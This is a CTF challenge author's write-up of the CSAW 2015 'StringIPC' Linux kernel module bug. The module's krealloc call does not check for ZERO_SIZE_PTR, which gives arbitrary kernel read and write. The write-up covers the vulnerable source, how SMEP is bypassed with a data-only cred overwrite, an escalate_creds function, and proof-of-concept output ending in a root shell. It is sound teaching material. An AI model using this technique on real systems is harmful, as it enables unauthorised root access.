Table of Contents

Introduction

CSAW CTF 2015 was this past weekend, and like previous years I fielded a Linux kernel exploitation challenge for finalists in NYC. This year, I wrote the challenge “StringIPC.” Three of the 15 teams solved the challenge.

StringIPC is a kernel module providing a terrible IPC interface allowing processes to pass strings to one another. Clients interface with the driver by allocating (or opening an existing IPC) “channel.” Each channel is associated with a channel ID and buffer in kernel-land. This buffer may be read or written to by clients and is used to pass messages between them. The size of this buffer is chosen by the user at allocation time, and clients may seek, grow, or shrink the buffer at any time. The design of this challenge is in a similar vein to my 2013 challenge “Brad Oberberg.”

Each team was presented with unprivileged access to a Digital Ocean droplet running 64-bit Ubuntu 14.04.3 LTS. The vulnerable kernel module StringIPC.ko was loaded on each system, and successful exploitation would allow for local privilege escalation and subsequent reading of the flag.

Source code to the kernel module was provided to each team and is available at: https://github.com/mncoppola/StringIPC

Tracing the Vulnerable Code Path

Clients may create a new channel with the CSAW_ALLOC_CHANNEL ioctl command. When creating a new channel, the size of the allocated buffer is user-controlled and may be of arbitrary size (other than zero):

static long csaw_ioctl ( struct file *file, unsigned int cmd, unsigned long arg ) { long ret = 0; unsigned long *argp = (unsigned long *)arg; struct ipc_state *state = file->private_data; switch ( cmd ) { case CSAW_ALLOC_CHANNEL: { struct alloc_channel_args alloc_channel; struct ipc_channel *channel; if ( copy_from_user(&alloc_channel, argp, sizeof(alloc_channel)) ) return -EINVAL; mutex_lock(&state->lock); if ( state->channel ) { ret = -EBUSY; goto RET_UNLOCK; } ret = alloc_new_ipc_channel(alloc_channel.buf_size, &channel); if ( ret < 0 ) goto RET_UNLOCK; ...

int alloc_new_ipc_channel ( size_t buf_size, struct ipc_channel **out_channel ) { int id; char *data; struct ipc_channel *channel; if ( ! buf_size ) return -EINVAL; channel = kzalloc(sizeof(*channel), GFP_KERNEL); if ( channel == NULL ) return -ENOMEM; data = kzalloc(buf_size, GFP_KERNEL); if ( data == NULL ) { kfree(channel); return -ENOMEM; } kref_init(&channel->ref); channel->data = data; channel->buf_size = buf_size; id = idr_alloc(&ipc_idr, channel, 1, 0, GFP_KERNEL); if ( id < 0 ) { kfree(data); kfree(channel); return id; } channel->id = id; *out_channel = channel; return 0; }

The channel ID, as well as the buffer pointer, size, and current index, are tracked in an ipc_channel struct:

struct ipc_channel { struct kref ref; int id; char *data; size_t buf_size; loff_t index; };

The state of each StringIPC session is maintained by the ipc_state struct stored in file->private_data . This keeps a pointer to the ipc_channel struct of the currently opened channel:

struct ipc_state { struct ipc_channel *channel; struct mutex lock; };

Clients may later change the size of the channel buffer with the CSAW_GROW_CHANNEL and CSAW_SHRINK_CHANNEL ioctl commands:

case CSAW_GROW_CHANNEL: { struct grow_channel_args grow_channel; if ( copy_from_user(&grow_channel, argp, sizeof(grow_channel)) ) return -EINVAL; mutex_lock(&state->lock); ret = realloc_ipc_channel(state, grow_channel.id, grow_channel.size, 1); mutex_unlock(&state->lock); break; } case CSAW_SHRINK_CHANNEL: { struct shrink_channel_args shrink_channel; if ( copy_from_user(&shrink_channel, argp, sizeof(shrink_channel)) ) return -EINVAL; mutex_lock(&state->lock); ret = realloc_ipc_channel(state, shrink_channel.id, shrink_channel.size, 0); mutex_unlock(&state->lock); break; }

Both of these commands call the helper function realloc_ipc_channel() . This function increases or decreases the size of a given channel’s buffer by an arbitrary, user-controlled value:

static int realloc_ipc_channel ( struct ipc_state *state, int id, size_t size, int grow ) { struct ipc_channel *channel; size_t new_size; char *new_data; channel = get_channel_by_id(state, id); if ( IS_ERR(channel) ) return PTR_ERR(channel); if ( grow ) new_size = channel->buf_size + size; else new_size = channel->buf_size - size; new_data = krealloc(channel->data, new_size + 1, GFP_KERNEL); if ( new_data == NULL ) return -EINVAL; channel->data = new_data; channel->buf_size = new_size; ipc_channel_put(state, channel); return 0; }

The call to krealloc() in the bolded lines resizes the channel buffer itself. This function allocates a new buffer of the given size, and if successful copies the contents, frees the old buffer, and returns the pointer to the new buffer. If the allocation fails (due to memory pressure or an unreasonably large allocation size), krealloc() does not free the old buffer and instead returns NULL. This is handled properly by the code above.

However, krealloc() (and friends such as kmalloc() ) has a special case in the event of a zero-sized allocation. Different heap implementations handle this case differently. For instance, some heap implementations simply return NULL, some return a valid pointer to a zero-sized heap buffer, and some return a valid pointer to the smallest size heap buffer. In the Linux kernel, zero-sized allocations return the dummy value ZERO_SIZE_PTR :

void *krealloc(const void *p, size_t new_size, gfp_t flags) { void *ret; if (unlikely(!new_size)) { kfree(p); return ZERO_SIZE_PTR; } ret = __do_krealloc(p, new_size, flags); if (ret && p != ret) kfree(p); return ret; }

This dummy value is defined as:

#define ZERO_SIZE_PTR ((void *)16)

Passing ZERO_SIZE_PTR to kfree() is safe and effectively turns the function into a no-op. Further discussion about the motivations behind this value may be found at: https://lwn.net/Articles/236920/

While the StringIPC function realloc_ipc_channel() checks the return value from krealloc() for NULL, it fails to check for ZERO_SIZE_PTR . By providing a size variable calculated to set new_size to 0xffffffffffffffff, the addition of 1 results in a zero-sized allocation being requested. The return value circumvents the NULL check, resulting in channel->data = 0x10 (16) and channel->data = 0xffffffffffffffff.

This effectively opens kernel memory for reading and writing through subsequent calls to the CSAW_SEEK_CHANNEL , CSAW_READ_CHANNEL , and CSAW_WRITE_CHANNEL ioctl commands. Thus, we achieve arbitrary kernel read and write primitives (at an offset of 0x10).

This vulnerability may be mitigated by checking if new_size is zero, or by checking the return value of krealloc() with ZERO_OR_NULL_PTR() .

Exploitation Obstacles

As mentioned above, each team was given access to a Digital Ocean droplet running 64-bit Ubuntu. Unlike previous years, a number of modern kernel security mitigations were enabled. Specifically, SMEP was enabled and access to /proc/kallsyms and dmesg was removed.

SMEP (Supervisor Mode Execution Protection) is a security feature on modern Intel CPUs that disallows execution of user pages in kernel mode. Since Linux uses a split-memory model where user and kernel share the same address space, Linux kernel exploits will traditionally overwrite a kernel function pointer and redirect execution to a payload mapped in userland. While SMEP is enabled, this is no longer possible and results in an oops.

/proc/kallsyms is a user-accessible virtual file that lists the symbol names and addresses of all non-stack symbols in the kernel. This is a major information leak and allows attackers to easily locate and target global kernel variables for memory corruption and find kernel functions to assist with privilege escalation. On the challenge VM, the security setting /proc/sys/kernel/kptr_restrict is set to 1, meaning that every symbol will have an address of all zeroes.

Access to the kernel log provides an additional opportunity for information leakage due to the verbosity of certain drivers, which sometimes leak kernel addresses. In addition, oops logs are printed here which contain a plethora of information about kernel crashes and dump sections of kernel memory. To disallow unprivileged access to the kernel log, the security setting /proc/sys/kernel/dmesg_restrict is set to 1 on the challenge VM.

To solve this challenge, contestants must develop an exploit in the presence of these security mitigations.

Achieving Local Privilege Escalation

With the ability to read and write arbitrary kernel memory, the exact technique to leak target objects and achieve privilege escalation is a matter of elegance and creativity. However, since CTF is a matter of developing fast and dirty exploits as quickly as possible to beat out other teams, let’s ignore the “elegance” and “creativity” elements of that statement.

To circumvent SMEP, I forewent obtaining kernel code execution and instead performed a data-only attack to locate and modify my process’ credentials in memory. To locate my creds in memory, I simply leaked the entire kernel heap and scanned for a unique signature generated by the exploit. Thanks to the use of copy_to_user() and strncpy_from_user() in CSAW_READ_CHANNEL and CSAW_WRITE_CHANNEL , page faulting is gracefully handled and accesses to invalid kernel addresses are not fatal during this process.

Pointers to our creds are stored in the task_struct associated with our process. To locate these pointers, I employed a heuristic to search memory for nearby fields in the struct. Luckily, the user-controllable comm field is adjacent to the cred pointers:

struct task_struct { ... const struct cred __rcu *real_cred; const struct cred __rcu *cred; char comm[TASK_COMM_LEN];

By setting comm (via prctl() ) to a randomly generated string, we can scan kernel memory for this unique 16-byte string and verify that the previous two qwords look like valid kernel pointers.

After locating the cred pointers, the exploit then sets the uid/gid fields to 0 with the write primitive and escalates the process to root:

void escalate_creds ( int fd, int id, unsigned long cred_kaddr ) { unsigned int i; unsigned long tmp_kaddr; /* * The cred struct looks like: * * atomic_t usage; * kuid_t uid; * kgid_t gid; * kuid_t suid; * kgid_t sgid; * kuid_t euid; * kgid_t egid; * kuid_t fsuid; * kgid_t fsgid; * * where each field is a 32-bit dword. Skip the first field and write * zeroes over the id fields to escalate to root. */ /* Skip usage field */ tmp_kaddr = cred_kaddr + sizeof(int); /* Now overwrite the id fields */ for ( i = 0; i < (sizeof(int) * 8); i++ ) write_kernel_null_byte(fd, id, tmp_kaddr + i); }

Proof of Concept

The full exploit is available at: https://github.com/mncoppola/StringIPC/blob/master/solution/solution.c

$ ./exploit Generated comm signature: 'Q[(WOZ$iT/cza-0' Allocated channel id 1 Shrank channel to -1 bytes Mapped buffer 0x7fbd90a87000:0x1000 Scanning kernel memory for comm signature... Found comm signature at 0xffff88001b0e04c0 read_cred = 0xffff880000020cc0 cred = 0xffff880000020cc0 Got root! Enjoy your shell... # id uid=0(root) gid=0(root) groups=0(root),1000(csaw) # cat /root/flag flag{looking at your application and I'm salivatin' cuz you failed validation on sized allocations} #

Other Writeups

Bypassing SMEP Using vDSO Overwrites (CSAW Finals 2015 StringIPC)